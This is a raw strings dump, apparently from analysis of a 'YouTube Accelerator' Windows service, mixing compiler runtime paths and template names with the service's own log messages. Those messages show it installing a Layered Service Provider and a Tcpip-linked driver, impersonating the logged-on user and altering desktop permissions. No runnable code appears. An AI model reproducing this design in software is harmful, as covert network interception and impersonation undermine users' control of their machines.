mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1,38,0,1444

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

1,38,0,1444

YouTubeAcceleratorService.exe_1192:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

